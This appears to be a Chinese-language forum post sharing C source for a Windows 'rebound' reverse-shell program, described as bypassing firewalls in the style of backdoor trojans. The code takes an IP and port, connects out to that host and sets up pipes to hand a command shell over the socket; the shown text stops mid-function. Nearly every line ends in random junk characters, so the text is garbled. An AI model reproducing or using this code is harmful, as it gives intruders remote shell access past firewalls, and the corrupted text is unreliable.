这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 kA^A mfba
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Rebound port in Windows NT o&$hYy"<.L
By wind,2006/7 fHfY}BQS
===============================*/ y5u\j{?Te
#include )gXTRkmw
#include !SF^a6jT
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#pragma comment(lib,"wsock32.lib") 6Z8l8:r-6
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void OutputShell(); fsvYU0L
SOCKET sClient; p{.8_#O%S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M#a&\cqC
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void main(int argc,char **argv) h8=h >W-
{ Qra> }e%*
WSADATA stWsaData; RmO yGSO
int nRet; 4seciz0?
SOCKADDR_IN stSaiClient,stSaiServer; Rp/-Pv
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if(argc != 3) O2 v.
{ FH*RU1Z
printf("Useage:\n\rRebound DestIP DestPort\n"); ]XUSqai
return; hYb9`0G"2
} C`4gsqD;Z
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WSAStartup(MAKEWORD(2,2),&stWsaData); 10MU-h.)
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g.a| c\WH
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stSaiClient.sin_family = AF_INET; U3F3((EYJ
stSaiClient.sin_port = htons(0); vg(K$o{BT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z*LiweR-
{ cNj*E
=~;
printf("Bind Socket Failed!\n"); io4aYB\
return; D1Yh,P<CF\
} ^,V[nfQR
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stSaiServer.sin_family = AF_INET; /6U
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); };sMU6e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HmV />9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -0 0}if7
{ !kXeO6X@m
printf("Connect Error!"); I7mG/
return; <zfKC
} gj+3y9
OutputShell(); L'9N9CR{i
} xK;e\^v
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void OutputShell() ~>%DKJe
{ Zq*eX\#C
char szBuff[1024]; 3k'.(P|F
SECURITY_ATTRIBUTES stSecurityAttributes; A1A3~9HuK
OSVERSIONINFO stOsversionInfo; aws"3O%
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; .7Kk2Y
STARTUPINFO stStartupInfo; A}G|Yfn
char *szShell; E*|tOj9`1n
PROCESS_INFORMATION stProcessInformation; -_~)f{KN@
unsigned long lBytesRead; .mPg0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); onl>54M^
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^\wl2
stSecurityAttributes.lpSecurityDescriptor = 0; inF6M8
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stSecurityAttributes.bInheritHandle = TRUE; A/ 0qk
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \##`pa(8
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HomN/wKh
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